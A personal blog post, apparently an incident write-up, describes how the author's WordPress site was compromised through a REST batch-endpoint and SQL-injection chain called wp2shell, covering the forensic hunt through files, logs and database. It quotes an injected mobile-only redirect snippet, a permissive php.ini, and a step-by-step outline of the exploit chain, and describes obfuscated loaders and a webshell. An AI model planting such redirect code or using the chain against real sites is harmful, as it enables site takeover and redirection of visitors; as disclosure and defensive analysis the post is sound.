GibsonClose

My website got owned

Writing, 19 Aug 20261863 words

Yesterday, I opened my website to see a very unwelcome surprise:

AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Command Executor Enter command (e.g. id, ls -la)

that was on august 18th, so I spent that night and the early hours of the 19th going through the hosting env, the filesystem, and the database.

The quick version is that the way in was a bug in WordPress itself. My site was running WordPress 7.0.0, which is one of the versions that was affected by a pre-authentication RCE chain that WordPress fixed on July 17 in 7.0.2. There’s a public writeup of the chain under the name wp2shell, and my database still had traces of it everywhere. A few of those traces contained a link to the research repo.

The setup

gibsonbell.com is a small personal WordPress site hosted on Wasmer. (you’re on it right now - although i actually created a whole new WordPress deployment after this and just imported the posts) It’s core WordPress with the Twenty Eleven theme and a few plugins, nothing unusual. My Wasmer plan doesn’t have SSH, so I did all of this through the Wasmer CLI, their browser-based File Explorer, and Adminer against the MySQL database.

The install was created on June 30, 2026 at 13:04 UTC, with one administrator account: user ID 1, (me)

Eight admins!

The first place I looked after seeing that command box was the Users page. Here are the accounts that were visible:

There were also some fun new plugins:

site-tweaks-e1a06813e8 content-tools-1c88013a1b volvo-truck volvofh x53165b30 Cache Optimizer

who names their malware “volvo-truck”?

I deleted the fake users and the plugins right away.

How this went unnoticed

I was confused how I had never seen this when visiting my website on my Mac, but when i visited it today on my iPad, it was there.

I logged into the Wasmer CLI, found the app, and pulled the current logs. And most of it was ordinary stuff: the environment booting, PHPix starting on PHP 8.3.31, WordPress being detected, maintenance mode flipping on and off, Wasmer’s own wp-wasmer plugin updating from its v0.4.3 package. Then, at 02:17:49 (utc) on August 19:

Undefined array key "HTTP_USER_AGENT" in /app/wp-content/themes/twentyeleven/functions.php on line 3

Line 3 of my theme’s functions file was reading the User-Agent header, and i knew twenty-eleven didn’t do that, because well, why would it?

So I opened the file, and of course, sitting above the real Twenty Eleven code:

$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort[.]dev/JQEVKYMSL0r6" />' . '<script>location.replace("https://ushort[.]dev/JQEVKYMSL0r6");</script>'; $userAgent = $_SERVER['HTTP_USER_AGENT']; $mobileAgents = [ 'Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile' ];

(I’ve defanged the link. Please don’t go poke at it) or do, I don’t care.

It checks the incoming User-Agent fingerprint against that list and only fires the redirect if one of them matches. Right underneath it the real Twenty Eleven code starts, so the file wasn’t replaced, someone just stuck their code on top of it.

My laptop sends a user-agent with none of those words in it, so nothing fires and the page renders normally. An iPad sends iPad, both the meta refresh and the location.replace() go off, and the visitor is gone within three seconds.

Even worse; the files

Since my Wasmer plan doesn’t support SSH, I had to use the browser “File Explorer” The content root looked pretty normal:

languages/ plugins/ themes/ upgrade/ uploads/ well-known/ .htaccess index.php root-htaccess

Worth knowing if you ever do this on a host without shell access: the modified dates on directories are close to useless.

Then I found a directory tree under wp-content/well-known/acme-challenge/

Instead of normal certificate challenge files, it had folders named a through h, and every one of those contained another set of a through h. That repeated for four levels.

Each directory contains 8 subdirectories, named a through h.

So, with some basic math:

But, the WordPress cache contained 4,684.

So, somewhere in the directory, there were four extra files.

*So somewhere in that directory tree, there were four extra directories beyond the 4,680 that my basic bath expected. So, I needed to find where they were. I used WordPress’s cached directory list to pull out any path that continued past the normal four **a through *h levels with SQL:

WITH RECURSIVE nums AS ( SELECT 1 AS n UNION ALL SELECT n + 1 FROM nums WHERE n < 10 ) SELECT n, REGEXP_SUBSTR( o.option_value, '/app/wp-content/well-known/acme-challenge/[a-h]/[a-h]/[a-h]/[a-h]/[^"]+', 1, n ) AS deeper_path FROM wp_options AS o CROSS JOIN nums WHERE o.option_name = '_transient_dirsize_cache' HAVING deeper_path IS NOT NULL;

which showed:

/app/wp-content/well-known/acme-challenge/a/f/h/a/c /app/wp-content/well-known/acme-challenge/a/f/h/a/configs1 /app/wp-content/well-known/acme-challenge/a/f/h/a/lkacher /app/wp-content/well-known/acme-challenge/a/f/h/a/lkacher/ixcpasj

So out of more than 4,000 leaf folders, the one that mattered was a/f/h/a.

inside of it:

a/f/h/a/ index.php php.ini configs1/ 1.txt c/ .htaccess lkacher/ .htaccess ixcpasj/ .htaccess index.php admin.php

I zipped that branch up (72,864 bytes), and downloaded it to look through on my Mac.

The two index.php files were obfuscated PHP loaders. They read compressed data from the end of their own files, unpacked it, and fed it into eval(). Once I decoded them, both had the same backdoor payload.

The index.php backdoor also had a hard-coded list of WordPress security plugins it would try to remove. That included wordfence, sucuri-scanner, better-wp-security, bulletproof-security, all-in-one-wp-security-and-firewall, miniorange-2-factor-authentication, wpscan, and jetpack.

configs1/1.txt was weird as well. It had a .txt extension, but the contents were PHP and basically copied part of the site’s Wasmer-style WordPress config. The database password and salts weren’t sitting there in plaintext because those were pulled from environment variables, but it was still a copy of configuration code sitting in the same hidden tree as the backdoors and webshell. I don’t know why it was kept there, so I wouldn’t claim it was a credential dump, but it definitely wasn’t normal.

great!

lkacher/ixcpasj/admin.php was bigger and turned out to be an entire (presumably prebuilt) PHP webshell with file management stuff and cmd-execution features.

A few of the PHP files were obfuscated in layers. Decoding them by hand got me to what looks like a WSO-family PHP webshell: a FilesMan file browser, plus command execution that tries exec, passthru, system, shell_exec, and popen in turn until one of them works.

Another layer had functions made to:

  • rewrite .htaccess
  • rewrite and restoring the site’s index.php
  • modify wp-includes/plugin.php
  • drop an index.php.bak
  • delete some specific files and specific PHP artifacts
  • make outbound HTTP requests
  • go through directories and operate on whatever it finds

as well as a php.ini in the tree as well:

safe_mode = Off disable_functions = NONE safe_mode_gid = OFF open_basedir = OFF exec = ON shell_exec = ON

The database

WordPress stores a huge amount of history in wp_posts, wp_postmeta, and wp_options. I briefly looked around in there for stuff I didn’t recognize.

Here’s the earliest one, on July 22:

2026-07-22 21:08:16 UTC oembed_cache 2026-07-22 21:08:19 UTC customize_changeset (user_id=1, post_date 2020-01-01, nav item -> https://example.invalid/) 2026-07-22 21:08:19 UTC request (content=parse, title=parse, status=parse, slug=parse)

A changeset attributed to me, dated 2020, on a site that didn’t exist until June 2026. The Customizer doesn’t do that.

Then the same thing again on other days:

Jul 22 21:08 UTC Jul 22 21:35 UTC Jul 23 15:41 UTC Jul 23 15:56 UTC Jul 29 13:11 UTC Jul 31 16:33 UTC Jul 31 21:32 UTC Aug 01 19:48 UTC Aug 03 12:45 UTC Aug 03 15:50 UTC Aug 12 18:43 UTC

So for three weeks, this was running on my site while I sat there with no idea.

What gave it away

On July 31 at 21:32:59 UTC the pattern repeats, except this time the customize_changeset JSON has a menu item in it:

title: "proof" description: "proof" url: "https://github.com/dinosn/wp2shell-lab" user_id: 1

That same URL turns up again on August 3 at 12:45 UTC, and once more at 15:50 UTC. There are orphaned _menu_item_url rows in wp_postmeta holding it too

The exploit wrote a link to its own research repo into my database, three separate times. Either someone was testing that the chain worked and using an obvious string to confirm it, or they were running the proof of concept more or less unchanged.

How wp2shell actually works

Here’s the chain the way WordPress and the public research describe it, lined up against what’s in my database. I’m keeping this at the level of how it works and leaving payloads out.

Step 1: an unauthenticated request to the REST batch endpoint

WordPress 7.0.2 came out on July 17, 2026 and fixed two bugs: a route confusion problem in the REST API batch endpoint, and an SQL injection. Chained together they get you remote code execution. They’re tracked as CVE-2026-60137 and CVE-2026-63030, and the affected versions are 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1, fixed in 6.9.5 and 7.0.2.

The batch endpoint (/wp-json/batch/v1, or ?rest_route=/batch/v1 in query-string form) exists so a client can send several REST operations in one request. The route confusion sends the request somewhere it shouldn’t go, and attacker-controlled data ends up in a query that never validated it. All of this works against a site you have no account on, with no login and no nonce.

Step 2: the SQL injection is used to forge data

The injection is there to make WordPress believe, for the length of a single request, that WP_Post objects exist when they don’t. You hand PHP a made-up post object and core treats it as genuine. The interesting bit is that it’s used to invent state rather than to read data back out.

Those fake objects only last as long as the request, which is where the next step comes in.

Step 3: oEmbed turns the forgery into a real database write

oEmbed caching is a normal WordPress feature. When core resolves an embed, it saves an oembed_cache post. The chain abuses that so the made-up state gets written to the database as real rows.

Which is why my database has a cluster of oembed_cache posts three seconds before every fake changeset. It’s the step that makes the whole thing stick.

Step 4: a forged changeset and a request object get you back in as an admin

Now you write a customize_changeset attributed to user_id = 1 - the original admin on almost every WordPress site ever - plus a post of type request with its fields set to parse. Together they get the next round of execution running in a context WordPress treats as an administrator.

All of my bursts have both. parse appears in the content, title, status, and slug, which isn’t something that happens by accident.

Step 5: create admin account(s).

With the code now running as an admin, the exploit calls WordPress’s normal user creation and makes an account that sticks around: (or multiple)

w2s_<random> w2s_<random>@wp2shell.local

Mine was [email protected], exactly the documented format.

Step 6: log in and execute code

Once you have an admin account, you can upload plugins, edit themes, or whatever you want. The public proof of concept drops a small webshell that cleans up after itself and runs commands through it.

  1. Soccer2025–2026
  2. How we made Weekly Wildcat’s deployments faster18 Oct 2026
    How we made Weekly Wildcat’s deployments faster

    Around three months ago, we switched Weekly Wildcat’s site from an old, slow, traditional WordPress install to a new, hybrid Next.js setup.

  3. Tilecast2026
  4. Running our first quizbowl tournament13 Sept 2026
    Running our first quizbowl tournament

    Round 1 had been going maybe five minutes when people started coming out into the hallway to tell HQ that the questions weren’t bouncing back.

  5. My website got owned19 Aug 2026
    My website got owned

    Yesterday, I opened my website to see a very unwelcome surprise.

  6. qbsheet2026
    qbsheet

    A simpler way to score quizbowl tournaments.

  7. Bringing our school’s ‘dead’ TVs back to life20 Jul 2026
    Bringing our school’s ‘dead’ TVs back to life

    There are TVs at my school that have been off for as long as I’ve been a student there.

  8. Why (and how) we rebuilt Weekly Wildcat’s website from scratch16 Jul 2026
    Why (and how) we rebuilt Weekly Wildcat’s website from scratch

    Weekly Wildcat launched its first website back in January 2026.

  9. The tech behind the 2026 miss ems pageant16 May 2026
    The tech behind the 2026 miss ems pageant

    We had no real production budget, just a few hours of tech practice, and a mix of borrowed, existing, and improvised equipment for our use.